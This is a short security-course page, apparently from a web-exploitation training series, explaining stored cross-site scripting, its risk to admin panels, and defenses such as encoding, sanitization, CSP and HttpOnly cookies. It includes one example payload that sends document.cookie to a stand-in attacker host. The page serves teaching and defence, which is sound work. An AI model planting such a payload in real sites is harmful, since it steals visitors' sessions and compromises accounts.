Courses

Persistent Cross-Site Scripting
OSWE · Chapter 5

Persistent Cross-Site Scripting

Persistent (stored) XSS is the most dangerous XSS variant: the malicious payload is saved server-side (a comment, profile field, support ticket) and executes automatically for every user — including administrators — who later views that content.

Key concepts

  • Unlike reflected XSS, no crafted link needs to be sent to the victim — simply viewing a normal page triggers the stored payload.
  • A frequent high-value target is an admin panel that renders user-submitted content (support tickets, usernames) without encoding — a single stored payload can compromise every admin session.
  • Rich-text/WYSIWYG fields are especially risky: they need HTML sanitization (e.g. DOMPurify), not just encoding, since some HTML must be allowed through.
  • Defense in depth: output encoding at render time, a strict Content-Security-Policy, and HttpOnly cookies so even a successful XSS cannot directly read the session cookie.

Example

<!-- Stored in a "profile bio" field, rendered unescaped for every visitor -->
<script>fetch("https://attacker.example/steal?c="+document.cookie)</script>

Try it yourself

On a lab app with a comment or profile field, submit a benign marker (e.g. `<b>test</b>`) and reload the page as a different user to confirm whether the stored value is encoded or executed.

@ Daniel Burlacu